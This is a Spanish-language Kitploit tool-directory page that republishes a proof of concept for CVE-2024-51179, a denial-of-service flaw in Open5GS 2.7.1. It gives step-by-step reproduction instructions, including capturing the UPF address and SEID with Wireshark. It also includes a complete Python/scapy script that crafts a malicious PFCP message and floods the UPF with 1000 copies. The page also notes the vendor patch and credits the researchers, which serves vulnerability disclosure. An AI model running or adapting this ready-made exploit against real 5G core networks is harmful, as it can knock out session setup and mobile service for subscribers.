Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-51179 — Prueba de concepto de explotación para CVE-2024-51179: la inundación de paquetes PFCP manipulados provoca denegación de servicio en Open5GS UPF/SMF, interrumpiendo el establecimiento de sesiones PDU del núcleo 5G. | Kitploit
Herramientas/GitHubGitHub/lakshmirnr/cve-2024-51179
Sniffing y Análisis de PaquetesAnálisis de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de Penetración
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Prueba de concepto de explotación para CVE-2024-51179: la inundación de paquetes PFCP manipulados provoca denegación de servicio en Open5GS UPF/SMF, interrumpiendo el establecimiento de sesiones PDU del núcleo 5G.

Ver Repositorio
43hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-51179 : La inundación de paquetes manipulados por un atacante puede bloquear UPF/SMF en Open5gs

Descripción de la vulnerabilidad

Descripción: Un problema en Open5GS v.2.7.1 permite a un atacante remoto provocar una denegación de servicio a través de las funciones de red virtualizadas (NFV), como la Función de Plano de Usuario (UPF) y la Función de Gestión de Sesión (SMF). El proceso de establecimiento de sesiones PDU (Unidad de Datos de Paquete) se ve afectado por los bloqueos que ocurren dentro de las NFV.

Un atacante, después de obtener la dirección IP de la Función de Plano de Usuario (UPF), el puerto PFCP y el SEID (Identificador de Extremo de Sesión), puede manipular e inundar la UPF con paquetes PFCP (Protocolo de Control de Reenvío de Paquetes) maliciosos. Los parámetros requeridos pueden ser interceptados usando herramientas como Wireshark si el atacante tiene acceso al tráfico del plano de usuario.

Tipo de vulnerabilidad: Denegación de Servicio

Impacto: Al enviar el paquete malicioso, la UPF se vuelve errática, afectando el establecimiento de nuevas sesiones PDU. Además, la SMF (Función de Gestión de Sesión) se ve afectada debido a la inundación de paquetes PFCP maliciosos, interrumpiendo las funciones del núcleo.

PASOS PARA REPRODUCIR EL ATAQUE

Precondiciones: La red 5G se configuró usando Open5GS como red de núcleo y UERANSIM como herramienta de emulación para la gNB (NodoB de próxima generación) y la UE (Equipo de Usuario).

PASOS PARA REALIZAR EL ATAQUE

  1. Asegúrese de que Open5GS esté en ejecución verificando el estado de los componentes de Open5GS (AMF, SMF, UPF, etc.).
  2. Verifique el establecimiento de la sesión PDU usando UERANSIM para iniciar una sesión PDU y capturando el tráfico con Wireshark.
  3. Abra Wireshark y seleccione la interfaz de red utilizada para el plano de usuario.
  4. Comience a capturar tráfico con un filtro de visualización para paquetes PFCP:
  5. Inicie una sesión PDU desde UERANSIM para asegurarse de que los paquetes PFCP sean visibles en la captura.
  6. En Wireshark, busque y anote la dirección IP de la UPF, el puerto de la UPF (normalmente 8805) y el SEID de los paquetes PFCP capturados.
  7. Utilice el siguiente script para inundar la UPF con los paquetes.
root@kitploit:~
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Supervise el impacto en la red usando Wireshark o revise los registros para observar cualquier anomalía o fallo en el procesamiento de paquetes.
  2. Intente establecer nuevas sesiones PDU desde UERANSIM para comprobar si el establecimiento falla debido a la inundación.

ESTADO DE SMF DESPUÉS DEL ATAQUE

smfcurrent

CAPTURA DE WIRESHARK DEL PAQUETE MALICIOSO

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

ESTADO ACTUAL

La vulnerabilidad, documentada como Issue #3497 en la página de Open5GS en GitHub, fue reportada al proveedor de Open5GS, que identificó la causa raíz como un problema de desasignación de memoria que provocaba bloqueos del sistema. Desde entonces se ha aplicado un parche y el código se ha actualizado para resolver el problema. Puede revisar el código actualizado aquí.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 ha sido publicado.

CRÉDITOS

DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)

Descargar herramienta